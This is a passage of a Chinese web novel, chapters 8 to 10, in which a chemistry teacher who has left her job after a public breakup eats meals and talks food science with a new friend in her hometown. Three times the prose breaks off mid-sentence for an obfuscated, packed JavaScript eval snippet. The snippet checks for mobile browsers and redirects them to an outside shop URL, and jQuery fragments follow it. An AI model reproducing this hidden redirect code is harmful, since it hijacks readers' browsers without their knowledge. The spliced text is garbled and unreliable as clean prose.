小时候的自己,真的很想一个童话故事里的南瓜,被人用语言施了魔法,就以为自己会变成一辆去往童话城堡的美丽马车。
可事实上南瓜还是南瓜,从化学角度分析,它并不具备成为一辆供人搭乘的马车的条件。
男人站了离她有一米多远,他的身高够高,抬起手就抓住了柿子树的一个枝杈,仔细端详了一下上面的柿子。
“这是镜面儿柿子吧?挺容易就放软了,不用等霜降,国庆节过完了,这树上估计就剩的不多了。”
现在的人多鸡贼啊,略带了点儿青也可以拿回家焐了吃,才不会干等着它在树上熟呢。
看着那只小麦色的大手悬在自己头顶上,摩挲着柿子,恨不能先在上面做上有主儿的记号。
沈小甜低下头,又笑了。
“你可真是一个大好人。”
她都不记得自己这是第几次这样夸奖对方了。
陆辛收回了手,落后她半步往她家的方向走,手插回在裤兜儿里,权当是没听见她说话。
走在熟悉的石榴巷里,偶尔有人出来还要打声招呼,沈小甜突然觉得自己不是走在一个离开了很久的地方,而是走在了一张外公留给自己的明信片里。
在这张明信片里,魔法一直存在。
因为她突然感觉到了化学不能解释的变化,有什么力量在驱散她的失落和颓唐。
陆辛取走了他停在小院子里的摩托车,正要加油门走的时候,他听见那个女孩儿说:
“我突然想到该回请你吃什么了,后天中午11点,我们就约在这儿吧。”
陆辛点点头,把头盔戴上:
“离这儿远么?”
沈小甜笑了一下,像是小女孩儿藏起了糖果似的,她说:
“你来了就知道了。”
“行吧。”说完,陆辛就骑着他那辆顶漂亮的摩托车往前走了。
站在院子门口,沈小甜掏出手机,打开微信,把那个只叫了“陆”的微信备注改成了“课代表”。
车子沿着他和沈小甜一起走过的路行驶,到了巷口,陆辛停下车,大长腿撑着摩托,两只手摘下头盔,他仰头看着这棵老柿子树,好一会儿,重又低下头戴上头盔走了。
房间的软装就是个无底的坑。
一开始只是想在网上买了两包湿纸巾,等沈小甜回过神来,她的购物车里已经装了纸巾盒、餐桌隔热垫、小熊书立、空调毯、抱枕、花瓶……甚至还有摆在二楼阳台上的木制桌椅。
就在几分钟之前,她兴致勃勃地考虑自己要不要把阁楼的靠窗的地方改成飘窗,再铺上个垫子挂上纱帘做成能午睡的小榻。
关掉购物软件,沈小甜身子一软,躺在了床上。
她的行李已经都搬来了,四五件衣服挂在了衣柜里,笔记本电脑在书桌上摆着,空调徐徐供给着凉风。
看着熟悉又陌生的天花板,沈小甜眨了眨眼睛,天花板和黑暗反复交替,像是时间可以逆行的咒语。
她自己都知道自己的动作有多傻,终于抬起手臂遮住了眼睛。
不会了,不会有那个人再出现,喊着你吃饭或者上学。
不会了。
沈小甜觉得自己该睡一觉,冷面里丰富的淀粉和糖分让她的大脑太活跃了,一直在想一些莫名其妙的东西。
就在她强迫自己午睡的时候,她的手机响了。
看着来电人的名字,沈小甜长长地出了一口气,慢慢坐了起来。
“老师,我听飞仔说你下半年不教我们了?”
“苑学飞同学是有全名的,韩欣悦同学你不要总是叫他飞仔。”
沈小甜还在计较着学生的称呼,电话对面,那个女孩儿已经带了哭腔。
“老师,你不要我们了吗?”
沈小甜站在卧室里,衣柜映着她毫无表情的脸庞:
“韩欣悦,老师的工作就是教给你们知识,你从小学读到现在,也是被很多老师教过的,应该知道对于老师来说,工作的变动是不可避免的。”
可是女孩儿还是哭了。
“小甜老师!你说了我们毕业的时候你要给我们写纪念册的,你还说我们谁考上了理想的学校你就手抄一遍元素周期表送我们……呜呜呜呜,老师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729324|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我们都不想让你走。”
沈小甜想叹气,捏着手机,她说:“我也早说过我大概率是不能带你们毕业班的,要是我说的话你都记得,那你也要记得我说过你得加强实验题审题对吧?期末考试那么简单的实验题,完全在你的能力范围之内,只是换了一个形式你怎么就丢分了呢?”
韩欣悦:“呜呜呜……嗝。”
姜还是老的辣,被期末考试的成绩一冲,小班长哭不动了。
“老师,我知道你是故意的。”她气呼呼地说。
还没等沈小甜再说什么,韩欣悦又说:“老师,我妈说她晚上就在家长群里找人,让学校把你找回来!”
“不用!”沈小甜连忙说,“是我自己因为私人原因要离开的,跟学校没关系。”
“老师?”
“我不想把这些话说清楚,但是我觉得,欣悦你一向很成熟,这些话,老师告诉你也没什么。我是自己辞职的,因为我……我男朋友出轨了,我也和他分手了。”
电话那边,小韩班长陷入了沉默。
是,沈小甜的男友出轨了,不仅出轨,还出得轰轰烈烈。
暑期电影档,好莱坞大片《毒蛇2》因为主演是国内著名女演员,又有国内影视公司参投,成功突破了传说中的国产电影保护月上映,热热闹闹的电影院门口也成了事故的发生地。
沈小甜的好友兼同事米然刚从放映厅出来,就看见了自己好友的男朋友和另一个女人亲亲密密地拉着手等着排队进场。
米然是个直爽性子,她直接拍照发给了沈小甜,然后开着视频上去质问姜宏远那个女人是谁。
直到沈小甜赶到现场,两个人已经闹到不可开交。
这不是整个事件中最惨烈的部分,最惨的是,那天正有一个网红电影博主在那家电影院做赠票活动,开着直播。
喜闻乐见的捉奸情节让那个博主的直播间在线人数陡升,峰值达到了十万以上。
米然和姜宏远拉扯的视频在第二天就被做成了表情包,沈小甜看着姜宏远的视频也成了微博的热门。
男友出轨,明明应该是一件很伤心的事情,可沈小甜经历的却是一场从线下到线上的闹剧,她自己的社交账户被人扒了出来,好几百条留言都是让她“小姐姐鲨了那个渣男”,学生们也是在不到半天时间里都知道了这个消息。
几年的恋情,在彻底终止的是,坐上了窜天猴,爆得让沈小甜都觉得滑稽可笑。
“我们分手吧。”
混乱和喧嚣里,这五个字的短信,是沈小甜真正能把握在手心的东西了。
“欣悦,我像换个环境,让自己冷静一下。”
看看镜子里依然面无表情的自己,用沉痛语气说话的沈小甜觉得自己真是个塑料老师。
“老师……这种事情你都要闹辞职,你也太纯情了吧?你为了个渣男连我们都不要了?!老师你真是……”韩欣悦的语气十分的恨铁不成钢。
“上学期九班的郑浩南一次跟好几个女同学谈恋爱,还在追刘梦雨,被发现之后还被她们几个人一起打了一顿呢!”
沈小甜:……
“算了,感情的事情总是说不明白的,老师你现在还在失恋的情绪里没走出来,我等你好了再给你打电话吧。”
手机里传来忙音,沈小甜一脸的茫然。
过了几秒钟,她回拨小韩班长的电话。
不,等下,刘梦雨怎么回事?
8. 筋饼
陆辛漂亮的摩托车停在沈小甜家门口,看见院子门上多了一个门铃。
他摁了一下,不一会儿,沈小甜就开门出来了。
手腕儿上挂着一条细细的金链,伴随着开门的动作划出了一道弧线。
“把车停在这里吧,我带你吃饭去。”
今天请客的小甜老师很有当家做主的气势。
跟着沈小甜从梧桐树下面走出巷子口的时候,陆辛还以为她是要带自己去吃小乔姐的麻辣烫。
可是沈小甜走呀走,走到了桥上。
上次陆辛以为沈小甜在这座桥上是要跳,他猜错了,这次他以为沈小甜会再取笑一句自己是大好人,他又猜错了。
过了桥,沈小甜的脚步还是没停。
陆辛迈着大长腿不紧不慢地跟着,问她:
“早上吃的什么?”
“煮了点粥,一个鸡蛋,两根黄瓜。”沈小甜管理自己生活的能力还是不错的,营养搭配得均衡。
陆辛只觉得这个分量可真不多。
“你呢?你早饭吃了什么?”沈小甜反问他。
男人抬头抓了一下,从自己头发上抓了一点干枯的合欢树叶子。
“牛肉夹饼。”
沈小甜不说话了,穿过合欢树夹着的小道,又走了十几分钟,她停在了一个门面的门口。
“会宾卷饼。”
这家店真是不起眼到了极点,和老金家的那种虽然小但是里外都整整齐齐的小馆子比,它落魄得像是明天就会停业倒闭。
十一点半,差不多是沽市中午刚刚下班的时间,这家店的人已经挺多了。
用手指蹭掉额角热出来的薄汗,陆辛跟着沈小甜进去了。
“前天我们说了醇溶蛋白嘛,我就想起来可以再来看看谷蛋白,筋饼我小时候吃过,这家店是我前几天搜外卖的时候看到的,我觉得还是来这里直接吃比较好。”
醇溶蛋白?谷蛋白?
找到位置坐下的时候,陆辛突然笑了,他看着沈小甜说:“你这是要拉着我再复习一遍么?”
嗯?很有学习的觉悟嘛,能明白老师的教学意图,果然是很不错的课代表。
沈小甜赞许地点点头。
陆辛还能说什么呢?塑料壳子封住的菜单都卷边儿了,他往沈小甜地面前一推,说:
“你请客的话,是不是该你点菜?”
沈小甜把菜单推了回来:“不不不,我觉得你对吃的研究比较多,还是你点菜吧。”
说话的时候,沈小甜笑眯眯地,陆辛不知道为什么,就想起来晒着太阳等着吃饭的猫。
他没有再看菜单,招了招手,点菜的是个不到三十岁的年轻女人,头发一卷,用个大发卡束在后脑勺上,发梢儿垂在外面,随着她的动作晃呀晃。
“您好,要两份筋饼,一盘六合菜,一盘酸菜粉,一盘酱肉丝,一盘干炸辣椒丝儿,黄瓜、心里美、葱都切了丝来一点儿,再要两个咸鸭蛋。”
女人在点菜单上刷刷写完了,看了一眼桌号,目光就撞在了沈小甜的脸上。
“酒不要是吧?”
陆辛摇了摇头,沈小甜反而举起了手:“扎啤有么?我要半斤行么?”
所谓扎啤也就是“鲜啤酒”或者“生啤酒”,不同于灌装熟啤酒经过了高温灭菌,扎啤是经过了微孔膜过滤工艺,保存了更多的酵母菌,在装入低温酒桶的时候再次注入了二氧化碳,出酒的时候泡沫丰富,口感新鲜。
夏天,沽市人总爱喝上这么一杯。
就是半斤啤酒才二百五十毫升,对正常喝酒的人来说也就是漱个口的,不过沈小甜长得小小甜甜的,谁都觉得她喝酒只是图个新鲜,少一点才是对的。
杯子外壁挂着水珠的啤酒是跟菜和筋饼一起被端上来的。
陆辛点的六合菜原来就是豆芽、韭菜、木耳炒好之后掺进去了摊好的嫩炒鸡蛋*,闻着很香,沈小甜还在里面看见了炒熟的菜丝,像是卷心菜。
沈小甜端起酒杯,对着陆辛示意了一下,先喝了一口。
“之前我还在想你大概不是沽市人,现在看,你果然不是。”
陆辛笑了,手里摊开一张面饼,把酸菜粉、酱肉丝和辣椒丝堆在上面,两边往中间一叠,再从尾巴处往上一折,包的整整齐齐。
“这还用想?听口音听不出来呀。”
叠好的饼送进了嘴里。
沈小甜的动作远没有陆辛这么奔放,面饼是摊开在盘子上的,六合菜、肉酱、肉丝……叠饼皮是用的筷子,一口咬掉三分之一个饼,满当当的馅儿露出来,蛋沾了酱的色,看着更诱人了。
六合菜有丰富的汁水充溢在嘴里,筋饼果然富含丰富的谷蛋白,咬下去都不够,还得用筷子拽一下才能把饼皮分离,丰富的面香味像是一张空白的画纸,由得被卷在里面的馅料各种挥洒,丰富到斑斓炫目,又扎实温和,抚慰味蕾和肠胃。
“这个面饼,就是含有更多的谷蛋白,具有很好的筋性,所以才能做得这么薄,对吧?”
沈小甜吃了一个卷饼的时候,陆辛已经吃了两个,第三个都卷好了,听着话,他点点头。
“你说的这个什么谷蛋白,让我想起来了面筋,你知道吧,面筋就是把面揉成了团子,然后面团泡在水里搓啊揉啊,等水成了粉汤儿,就剩那团子了,挺紧的一团,还粘手。”
“黏性应该是醇溶蛋白导致的,但是那种去除了淀粉的剩余物质里面确实含有大量谷蛋白。和醇溶蛋白不同,谷蛋白连两段都有含硫氨基酸,两个含硫氨基酸连接在一起,就形成了双硫结构,这种结构是很稳定的。
“荞麦和高粱的没办法像这样做成饼,可以说是醇溶蛋白多,也可以说是因为谷蛋白含量少,没有稳定的蛋白质结构帮助定型。
“不管是稳定的氨基酸聚合物,还是不稳定的,这些蛋白在干燥情况下是很稳定的,在遇到了水之后聚集在一起,形成了有序的蛋白质网络,就形成了你说的面筋。”
说话的时候,沈小甜手里拿着一张看起来很厚的筋饼,她仔细看了一下,笑着从一个略厚的边缘处一拉,原来是两张饼粘在了一起。
“你看,这个饼刚刚被我扯长了,现在又成了个圆形。”
把筋饼放在盘子上,沈小甜兴致勃勃地用眼神梭巡着各色配菜,挑选自己想要“临幸”的。
“因为谷蛋白的分子形状是弯曲的链状,所以能够延伸,也能够回弹。”
试一下酸菜粉和咸蛋黄的搭配吧!
唉,别说,在餐桌上讲这些东西还真有意思。
沈小甜正想着,就听见桌对面的那个男人说:
“还真挺有意思,”
抬起头,用啤酒冲掉嘴里最后那点酸菜的味道,沈小甜说:
“是跟有趣的人说这些,才有意思。”
陆辛看她,只看见了一张笑脸,还有一只举着卷饼的手。
沈小甜看着挺瘦的,薄衫下面是细腰平肩,可看着她的手腕儿,却是软软圆圆的样子,虽然细,但是未必能摸到骨头。
“光夸别人有意思,也得你自己讲得东西有意思啊,不然我跟个老金那样的吃饭,话还没开个头儿呢,两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729325|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边先嘴皮子打了十轮了。”
想象一下那个画面,沈小甜觉得也挺有意思的。
陆辛开始吃第五个卷饼,沈小甜开始吃第三个。
在沈小甜吃完第四个卷饼,啤酒也喝了一半的时候,她的手机响了。
手机就放在餐桌上,悦耳的铃声刚响了几下,就被沈小甜拒接了。
陆辛看着沈小甜,女孩儿微微清了一下嗓子,又拿起了一张卷饼。
这时,她暗下去的手机屏幕又亮了起来。
几个字弹了出来。
“老师,对不起。”
沈小甜看了一眼,放下卷饼,拿起了酒杯,一口气把剩下的半杯灌了下去。
“我第一次吃这个卷饼,是我同学的午饭。”被啤酒浸润后的嗓音略有些哑,和沈小甜平时的声音很不一样。
“我同学的爸爸是东北人,特别会做一些东北小吃,我那个同学也长得很好看……应该很好看,我一直没有很认真地记她的样子,因为我和她当同班同学的时候,关系没有特别好。”
陆辛听着沈小甜说话,手臂一伸,又从筷笼里拿了一双筷子。
“后来我十四岁就跟我妈去了广州,那时候我特别委屈,我一点也不喜欢广州,那里很多人说话我听不懂,各种吃得我也吃不惯,我和我妈妈……关系也不是很融洽,那个同学就在聊天软件上安慰我,我们以前的关系没那么好,但是因为她安慰我,我也把她当成很好的朋友。”
十来岁的时候,人总是傻得可爱,明明人生才过去短短一截,小小的心里已经在想的是天长地久,随随便便就要说做一辈子的朋友。
“过了两年,我们都上了高中,我那个同学特别喜欢一个老师,男老师,据说长得挺好看,我觉得她应该就是小孩子对大人的崇拜,但是……但是后来,那个老师被人说是私德有问题,我那个同学就站出来帮他说话,结果,很快整个学校都在传她和那个老师有暧昧。我最后一次和她聊天的时候,她说她差点被她爸打了,要转学回东北去了,以后也不能和我聊天了。”
人与人的关系并不像两个黏在一起的含硫氨基酸那么稳固,不管怎么泡水揉搓,都还会在一起,他们更像是氢键,看起来很稳固,但是随随便便就断开了。
“我那时候就在想,那个老师那么好,为什么不站出来保护她呢?他不是成年人么?难道连自证自己清白的能力都没有么?”
陆辛用筷子夹了面饼,往里面一样一样地放菜,听见沈小甜停顿了,他嗯了一下,开口道:
“那个男的确实不咋地。”
沈小甜笑了一下,脸上的表情舒缓了几分,她抬起头说:“我就想啊,如果有一天我当了老师,一定,一定不会让我的学生因为我,而受到伤害。”
女孩儿看着男人,眼神是跟脸庞不符的复杂,她问:“是不是特别幼稚啊?”
“把饼吃了。”
卷好的筋饼用筷子夹了,被陆辛送到她的眼前。
“谢谢。”
“不客气,你是个好老师。”
接住卷饼的手顿了一下。
女孩儿的笑容在那一刻变得浅淡又真切。
“谢谢。”她又说了一遍。
“谢谢还买一赠一?”陆辛又是一脸有些无奈又不耐烦的样子。
两个人吃完了饭,走出了不怎么整齐但是热闹的餐馆,午后有云遮挡了太暴躁的太阳,他们就慢慢地往石榴巷的方向走去。
餐馆里,点菜的女人松快了一下肩膀,对厨房里说:
“爸,筋饼还剩几份儿呀?”
9. 花甲粉丝
住在老家的小院子里,真的会让人觉得时间都变慢了,白天仿佛变得更长了,当然,也有可能是因为起的太早。
早上七点多,沈小甜就在买菜阿姨们互相打招呼的声音里醒了过来。
“唉,开空调不舒服,开窗……又太热闹了。”
嘴里嘟囔着,沈小甜又听见了一声电动车的车铃声,得了,这下是更不用睡了。
穿上衣服,拉开遮了大半的窗帘,她走到阳台上做了两声深呼吸,顺便跟三四个阿姨奶奶打招呼,还知道了今天菜市场有人拉了一车的桃子来卖,长得又大又圆还好吃。
“说是兰州拉过来的白粉桃,还真挺稀罕人的。”李阿姨对着沈小甜招手,“小甜,我给你分两个,给你挂门上你下来拿?”
“不用了阿姨!”沈小甜的哈欠打了一半憋了回去,“我今天也得去趟菜市场。”
李阿姨满意地点点头:“对呀,年纪轻轻的,就该早上活动活动。”
沈小甜还是真的要去趟菜市场,家里除了一袋别人送的大米之外就剩一包榨菜了和五个鸡蛋了。
不是没想过叫外卖的生鲜派送,只是沈小甜用手机搜了一下,除了综合超市之外,寥寥几个派送的市场都离这里十公里远,对于小小的沽市来说,十公里意味着什么呢?
意味着那是从临市送过来的菜。
没必要,真的没必要。
十分钟后,沈小甜穿着短裤T恤,脚上踩着一双软底的拖鞋关上了院子的门。
拖鞋是她昨晚上自己去逛夜市买的,才十五,不考虑开胶的可能性,还是舒服又好看的。
忽略上面太过熟悉的两个字母的话。
因为市场离珠桥不远,所以就叫珠桥市场,原来是老二轻家属小区的旁边,就是石榴村被划去的那片地的另一边,小乔麻辣烫本来就在那旁边的,06年的时候老小区改建,六栋六层家属楼变成了八栋十二层的商业小区,市场也就搬到了石榴巷的这一边。
沈小甜走出石榴巷,往南走了二百多米,就看见了珠桥市场,也看见了市场门口卖桃子的。
买了四个桃子,沈小甜刚要往里走,脚上突然一凉,是旁边卖海鲜的摊位上,那些蛤蜊正在到处吐沙,这东西,广东叫花甲,沈小甜买了一点儿。
再往里走,又在肉摊上买了一斤猪肋排。
买菜的时候,沈小甜遇到了点儿麻烦。
“麻烦您,我要一个蒜头。”
拎着那个蒜头的梗儿,沈小甜和菜摊的老板面面相觑。
老板问她:“还要别的么?”
沈小甜:“不用了。”
难道现在买菜还要先凑单么?
沈小甜有些心虚,在菜摊上又看了一圈儿,又拿起了两棵油菜、四五颗小米辣,一把金针菇。
老板把菜接过来,放在电子秤上一样样称过,然后给她塞到了一个袋子里。
这时,沈小甜又看上了摆在菜摊一角的大葱,山东的大葱很有名,有名到都成了网上的一个梗,因为它们大,有多大呢?就拿菜摊上这些被割去了七成葱叶的葱来说,它们完整的时候,“身高”应该是超过了沈小甜的。
不可否认,这种大葱确实很好吃,整体辣味偏淡,生吃的时候带着一股清甜味道,葱白和葱叶各有风味,尤其是葱白,一口咬上去甚至可以说是脆嫩。
当然沈小甜没有生吃大葱的习惯,她外公没有,她妈也没有,她爸也没有,在很多人看来,他们应该算是一家子假的山东人。
“老板,你们这个葱能解开捆卖么?”一捆葱看着有十几根,沈小甜觉得自己天天葱油拌面都得吃俩月。
老板问她:“你想要多少呀?”
“一根。”
就在这个时候,一个阿姨过来对老板说:“这捆葱你给我称一下。”
阿姨买走了那捆葱,沈小甜也如愿买到了一根葱,是老板从身后对着的菜筐里拎出来的,应该是还没来得及扎好捆。
市场里热热闹闹,那边有人要了半个冬瓜,这边有人说“来三斤洋柿子”,沈小甜拿着那点点东西走在人群里,自己都觉得自己像是领着一堆可怜兮兮的散兵游勇行走在战场上,还要不时给正规部队让道。
终于从菜市场的一个斜岔道出来,沈小甜一只手拎着买的菜,另一只手拿着那颗葱,没办法,葱太长了,横在塑料袋里总是会被人撞到。
往家的方向走了一段儿路,沈小甜突然闻到了一股香气。
咸甜的面酱刷摊好的饼上,再放上薄脆……隐隐的绿豆香气让沈小甜知道,之前陆辛给她带的煎饼果子应该就是这家的。
早上八点多,这家煎饼果子摊儿门前在排着队,除了和沈小甜一样买菜还捎带买早饭的,能看出来还有要上班的白领。如果不是暑假,估计还能看见要上学的学生。
等沈小甜反应过来的时候,她已经站在了等候的队伍里。
做煎饼果子的是个年轻的女孩子,年纪估计和沈小甜差不多,可她的样子,真的让人没办法把她和煎饼果子扯到一起。
她扎着围裙,围裙里面穿了一件黑色的无袖衫,一头利落的短发染成了奶奶灰,除了这一头跟整个摊位都格格不入的发色之外,更眨眼的是她的上臂外侧有一个艳红色的手印形状刺青,跟她小手臂上戴着的黑色乳胶手套形成了鲜明的对比。
“煎饼果子?要几个蛋啊?刷腐乳酱么?辣椒要么?馃箅儿还是油条啊?葱花香菜要么?”
问话的顺序就是按照她做的流程来的。
女孩儿说话带着一点天津口音,听起来干净利落。
终于排到了沈小甜,她说:“我要两个鸡蛋,加油条。”
那姑娘看见了沈小甜手里的葱,抬起头来看了她一眼,说:“得了,我还以为自备鸡蛋还不算完,葱都自带了呢。”
真是一副很特别的长相,如果说沈小甜是圆眼笑眉,哪儿都透着一股子“甜”,那这个姑娘就是满脸的“别惹我”,鼻子太硬,眼睛带煞,连嘴角的弧度都好像在嘲笑别人似的。
这气势这样貌,更应该出现在什么古惑仔的电影里才对,扛着长刀一言不合就劈上去那种“老大”角色真是为她量身打造的。
可惜,“老大”手里拿着的是摊煎饼的竹筢子。
“给,煎饼果子。”
“哦,谢谢。”
沈小甜乖乖付了钱,心中还怀着某种对远古香港老电影的敬畏之情。
把葱和买的菜换到一只手上拿着,沈小甜空出一只手捧着煎饼果子,一边啃一边往家走。
虽然挺没形象的,可她在这儿是沈小甜,从小在巷子里钻来钻去的小女孩儿,来来往往认识她的人也多半知道她挂着鼻涕哭着喊爷爷的样子……大不了就塑料微笑一下呗。
回到家,煎饼果子已经吃完了,把蛤蜊泡在盐水里,沈小甜拿着一个洗好的桃子坐在了电脑前面。
开始做简历。
沈小甜的本科和研究生是在一个师范大学读的,本科实习是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729326|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学校的附中,研究生阶段的实习就是在北珠高中,后来考上了编制,也就在北珠正式当起了老师。
如果……想起韩欣悦小班长那番“恨甜不成钢”*的话,沈小甜自己想想,都觉得自己像是个为了舔舐情伤而欢了环境的可怜人。
“可怜就算了,傻是有点儿。”自己吐槽着自己,沈小甜在网上挑了个看着顺眼的简历模板,噼里啪啦地填了起来。
简历写了个差不多,时间才不过上午十点,沈小甜站起来活动了一下筋骨,看见自己的电脑屏幕亮了起来。
是米然给自己打来了电话。
“小甜,高伟泽彻底没事儿了,你说的对,你说是你动了手,姓姜的那个畜生就不敢把事情再闹大了。”
沈小甜的脸上露出了个如释重负的笑:
“那就好。”
“好什么呀!气死我了,你说这是什么事儿,明明你是受害者,到头来什么责任都是你担的了,你还走了,今天早上我去学校还看见了高伟泽了,他还有脸问我你去哪儿了,看他平时老实巴交的,长相学习都不好不差,怎么就有胆子套别人麻袋呢?”
何止是套别人麻袋?还把人打得头破血流。
沈小甜一闭上眼睛,就能想起自己当时跑过去,看着姜宏远倒在地上,拔掉袋子,看得见血流了满脸。
那之后的一切都快得像一场梦,姜宏远找了学校,威胁要报警,让学校处理打他的人。
自己站在校长室里,举起了拿着手机的那只手。
“人是我打的。”
“小甜,小甜?”米然打断了沈小甜的回忆,骂完了渣男,她的语气变得温和了很多,更像是个重点高中的音乐老师了。
“小甜,你这段时间过得怎么样?”
“很好,不对,应该说很棒。”沈小甜说得真情实意。
米然不信。
“我交了个挺有意思的朋友,他是个大好人,天天带我吃好吃的。”
可以说,是个很棒的课代表了,不过这话沈小甜是不会说的。
挂了米然的电话,她打开微信,对“课代表”说:
“我今天找到了你给我买的那家煎饼果子,我觉得加油条的煎饼果子更好吃。”
过了两分钟,“课代表”的回复来了:
“那你肯定见到红老大了,是不是觉得她画风不太对?她不光做煎饼果子特别地道,烧得家常菜也很好,在天津给人当学徒的时候偷学了不少好手艺,尤其是茄子扒五花肉,一盘菜能让人下十碗饭。”
看着手机屏幕,沈小甜觉得自己饿了。
茄子扒五花肉,她暂时吃不到了,不过自己做点别的总是可以的。
比如花甲粉丝。
蒜蓉、葱末、小米辣和酱油把蛤蜊、金针菇和粉丝调的有滋有味。
沈小甜自觉不错,拍了一张照片发给了她的“课代表”。
“没有茄子扒五花肉,赖氨酸也能让人快乐。”
此时的陆辛正坐在一间公寓的窗边,看着照片,他皱了一下眉头。
“她喜欢吃海鲜么?”
想了想,他敲了一行字:“明天晚上带你去吃红老大的拿手菜。”
对方回了他一个“好”,另有一个小猫卖萌的表情。
陆辛收藏了表情之后打开了自己的表情管理器,软软可爱的猫猫跟各种奇怪的直男表情仿佛不是同一个次元的生物。
翻了半分钟,最后,陆辛勉强回了个“明天见”。
10. 鲜果汤圆
如果知道了晚上有好东西吃,这一天似乎就会过得格外慢。
至少对沈小甜来说是这样的。
又是一天大好晨光里,距离她醒来已经过去了三个小时,时间还不到早上十点。
写好的简历并没有投出去,坐在电脑前面,沈小甜微微皱着眉头,桌子下面,两只脚挣脱了拖鞋的束缚,交叠在一起晃啊晃。
过了几分钟,她关掉了简介的页面,打开了视频软件找了一部电影看了起来。
屏幕里,人们跑来跑去嘻嘻哈哈,屏幕外,她安静地看着电影,偶尔发出啃桃子的声音,伴着窗外树上不时的蝉鸣。
陆辛和她约的时间是晚上七点半,到了晚上七点,她已经看完了四部电影,中场休息的时间她还有一个长达一个半小时的午睡,至于午饭,是看着电影吃的。
门铃响起来的时候,沈小甜精神奕奕地从房子里出来,打开了院门,就看见了戴着头盔的陆辛。
“车子还是放这里?”
陆辛点点头,见沈小甜把门让开了,他推着车就进了小院子。
“你把院子收拾了?”
横生的杂草枝蔓好像少了很多,。
沈小甜在旁边说:“你的车子这么好看,我怕会划伤它呀。”
其实就是昨晚闲着没事儿随便拽掉了两棵拦路的草。
陆辛摘了头盔,对她说:
“你要是想收拾院子的话不用自己动手,我帮你找两个人过来,一天就给你收拾出来了。”
“不用这么麻烦。”
沈小甜笑眯眯的,先走出了院子门儿。
从石榴巷走到那家煎饼果子摊儿不是一定要穿过菜市场的,沿着河边走,再拐一下就能到。
不然上次陆辛给沈小甜带饭也不会那么快就一个来回。
天略黑了,路灯亮起,风从河上吹过来还挺舒服的,沈小甜最喜欢的就是沽市的天气,虽然比广东干了点儿,但是没有那种如影随形仿佛难以挣脱的热感,下雨也没那么频繁。
“这个河里有鱼么?”
河边有围栏,围栏边疏落落地坐了几个人,煞有介事地钓着鱼。
听着沈小甜的问题,陆辛摇摇头说:“这边的鱼可不好吃,上面有水库,那里的鱼肥,在这里钓鱼的就是图清净,找个理由不回去对着老婆。”
说话的时候他们路过了一个正在对着河面等雨的大叔,他回过头来笑着说陆辛:
“你这小子,懂个什么呀?”
陆辛回身对着他一挥手:
“您可别跟我说话,鱼都吓跑了!”
再走出去几步,陆辛又说:“这儿经常有人查的,甩鱼竿缠着电线、打着人都不好。”
是,都不好,沈小甜对自己课代表的安全意识很满意。
在岔道口拐进去,沈小甜就看见了那家煎饼果子的摊子,灯光亮着,顶着一头奶奶灰发色的“红老大”站在门口,橘色的灯光勾勒着她半边的身子。
刹那间,沈小甜的脑海里又回响起了:“来忘掉错对,来怀念过去,曾共渡患难日子总有乐趣……”
“这就是越观红,我们都叫她红老大。”
红老大,越观红,不仅有一副与煎饼果子无关的外表,还有一个和煎饼果子没关系的名字。
“得了啊,别跟漂亮姑娘面前拿我说笑话了。”越观红往前迎了一步,看着沈小甜说,“我昨天就琢磨珠桥边上怎么来了个漂亮姐姐,今天就又见着了。”
姐姐两个字,越观红说得一提一落,很有天津特色。
“你好,我叫沈小甜。”
“哎呀,这名字我喜欢。”说着,越观红拉着沈小甜的手腕儿往店里走。
她身高应该在一米七五上下,因为骨架纤细体形匀称,看着跟一八五左右的陆辛差不多。
跟在后面,陆辛不紧不慢地说:“红老大,菜做了么?”
“做了做了,陆哥要我给面儿我能不给么?你早说带了这么个漂亮姐姐来吃饭,我再收拾个松鼠鳜鱼呀!”
说话的时候,她对着沈小甜笑了一下。
小店虽然卖的是可以随便带走的煎饼果子,其实还是有让人坐着吃的桌凳的,就是不多,三张桌子,六条长凳。还有一摞塑料凳子收在墙角。
店里已经坐了一桌人,是三个男人,看见陆辛,他们招手说:
“陆哥!”
“陆哥我们今天沾你光了,听说红老大要烧菜,我下午从梨河开车回来了!”
“陆哥,我们给你带了凉菜,老大一会儿就给你们上了。”
他们的桌前摆了两盘凉菜,还有四五瓶已经开了盖儿的啤酒,可见是已经喝了一会儿了。
沈小甜注意到,这几个人不叫越观红“红老大”,而是叫她“老大”,得了,这一晚上郑伊健的歌儿估计是在她脑子里出不去了。
不一会儿,菜就上桌了,越观红也上桌了,就坐在沈小甜的旁边。
